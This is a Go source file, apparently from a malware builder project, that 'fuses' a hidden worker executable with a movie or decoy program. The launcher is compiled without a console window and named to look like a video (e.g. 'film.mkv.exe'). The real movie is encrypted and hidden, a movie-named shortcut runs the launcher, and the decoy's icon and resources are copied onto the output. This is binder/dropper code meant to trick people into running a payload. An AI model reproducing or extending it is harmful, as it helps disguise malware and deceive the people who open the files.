Files
AetherForge/server/internal/builder/fusion_media.go
drjones b99c8aab15 Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
2026-05-29 01:33:09 -07:00

345 lines
9.9 KiB
Go

package builder
import (
"encoding/json"
"fmt"
"log"
"os"
"path/filepath"
"strings"
)
type fusionBuildResult struct {
LauncherPath string
MediaName string
EncryptedPath string
ShortcutPath string
}
func detectFusionPayloadKind(path string) string {
switch strings.ToLower(filepath.Ext(path)) {
case ".mp4", ".mkv", ".mov":
return "video"
default:
return "exe"
}
}
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
req.FusionPayloadKind = kind
if kind == "video" {
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
}
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
return nil, err
}
return &fusionBuildResult{LauncherPath: path}, nil
}
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode)
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
if mediaName == "" {
mediaName = filepath.Base(mediaPath)
}
mediaName = sanitizeFileName(mediaName)
outputName := strings.TrimSpace(req.FusionOutputName)
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(mediaName)
}
} else {
if outputName == "" {
outputName = runnerNameForMedia(mediaName)
}
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName)
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
if err != nil {
return nil, err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return nil, err
}
encFileName := mediaName + ".cmdata"
var mediaKey []byte
if mode == "paired" {
var keyErr error
mediaKey, keyErr = NewMediaLockKey()
if keyErr != nil {
return nil, keyErr
}
}
manifestFields := map[string]string{
"payload_kind": "video",
"media_mode": mode,
"media_file_name": mediaName,
}
if mode == "paired" {
manifestFields["media_enc_file"] = encFileName
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
manifestFields["runner_display_name"] = outputName
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err
}
var encryptedPath, shortcutPath string
switch mode {
case "embedded":
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
default:
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
}
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w -H windowsgui"
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
return nil, err
}
if mode == "paired" {
encryptedPath = filepath.Join(buildDir, encFileName)
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
return nil, err
}
_ = setHiddenFile(encryptedPath)
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
return nil, err
}
}
return &fusionBuildResult{
LauncherPath: launcherPath,
MediaName: mediaName,
EncryptedPath: encryptedPath,
ShortcutPath: shortcutPath,
}, nil
}
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
if err != nil {
return "", err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return "", err
}
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
}
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
}
fusionDir := filepath.Join(buildDir, "fusion")
assetsDir := filepath.Join(fusionDir, "assets")
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return "", err
}
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
if err != nil {
return "", err
}
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
return "", err
}
for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go",
"media_windows.go", "media_stub.go", "media_crypto.go",
"lock_hint_windows.go", "lock_hint_stub.go",
} {
src := filepath.Join(fusionSrc, name)
if _, err := os.Stat(src); err != nil {
continue
}
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
return "", err
}
}
return fusionDir, nil
}
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
order := normalizeFusionOrder(runOrder)
out := string(src)
repl := map[string]string{
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
}
for old, new := range repl {
out = strings.Replace(out, old, new, 1)
}
return []byte(out)
}
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
return writeFusionManifestEx(assetsDir, map[string]string{
"payload_kind": payloadKind,
"media_mode": mediaMode,
"media_file_name": mediaFileName,
})
}
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
raw, err := json.Marshal(fields)
if err != nil {
return err
}
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
}
func normalizeFusionMediaMode(mode string) string {
switch strings.ToLower(strings.TrimSpace(mode)) {
case "embedded":
return "embedded"
default:
return "paired"
}
}
func disguiseVideoExeName(mediaName string) string {
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
if base == "" {
base = "movie"
}
ext := filepath.Ext(mediaName)
if ext == "" {
ext = ".mkv"
}
return sanitizeFileName(base + ext + ".exe")
}
func runnerNameForMedia(mediaName string) string {
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = "movie"
}
return sanitizeFileName(base + "-runner.exe")
}
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
return sanitizeDirName(s)
}
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
}
if base == "" {
base = sanitizeFileName(req.WorkerName)
}
return sanitizeDirName(base)
}
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
subdir = sanitizeDirName(subdir)
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
return "", nil
}
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(destDir, 0755); err != nil {
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
}
for name, src := range artifacts {
if src == "" {
continue
}
dest := filepath.Join(destDir, sanitizeFileName(name))
if err := copyFile(src, dest); err != nil {
return "", fmt.Errorf("failed to export %s: %w", name, err)
}
}
readmePath := filepath.Join(destDir, "README.txt")
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
return "", fmt.Errorf("failed to write README.txt: %w", err)
}
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
return destDir, nil
}
func sanitizeDirName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return ""
}
name = filepath.Base(name)
var b strings.Builder
for _, r := range name {
switch {
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
if r == ' ' {
b.WriteRune('_')
} else {
b.WriteRune(r)
}
}
}
out := strings.Trim(b.String(), "._")
if out == "" {
return "title"
}
return out
}